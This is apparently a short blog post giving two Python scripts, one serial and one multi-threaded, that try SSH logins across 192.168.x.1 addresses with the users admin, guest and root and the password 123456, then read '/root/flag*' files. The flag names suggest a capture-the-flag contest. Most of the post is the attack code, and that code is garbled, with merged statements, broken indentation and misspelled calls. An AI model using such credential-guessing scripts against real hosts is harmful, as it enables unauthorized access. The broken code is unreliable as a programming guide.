Python-SSH batch login and execute commands

Go directly to the code##

#! /usr/bin/env python
#- *- coding:utf-8-*-import paramiko
from time import ctime
usernm =["admin","guest","root"]
passwd ="123456"
def ssh():for i inrange(1,254):for user in usernm:try:
			    host ="192.168.%s.1"%i
			    s=paramiko.SSHClient()
			    #Create ssh object
			    s.load_system_host_keys()
			    s.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
			    #Autoload host key yes\no
			    s.connect(hostname=host,username=user,password=passwd)
			    stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
    print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,user,ctime())
			    dd = stdout.read()
    print dd
			    stdin,stdout,stderr = s.exec_command('exit')
			    s.close
    if dd != None:
	                dd = None
	                break
	       except:
		       pass
print ssh()

The speed will obviously slow down when logging in batches across network segments

The following figure of the result of running:

Multi-threaded version

#! /usr/bin/env python
#- *- coding:utf-8-*-import paramiko
import threading
from time import ctime,sleep 
def ssh():
 usernm =["admin","guest","root"]
	ip ="192.168.%s.1"%i
	for user in usernm:try:
					s=paramiko.SSHClient()	
					s.load_system_host_keys()
					s.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
					s.connect(hostname=ip,username=user,password='123456')
					stdin,stdout,stderr = s.exec_command('cat /root/flag*')
     print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,uer,ctime())
					dd = stdout.read()
     print dd
                            
					stdin,stdout,stderr = s.exec_command('exit')
					s.close
     if dd != None:
      dd = None
      break
    except:
     pass

for i inrange(100,200):
  a=threading.thread(target=ssh,arg=())sleep(0.1)
		a.strat()

running result:

Recommended Posts

Python-SSH batch login and execute commands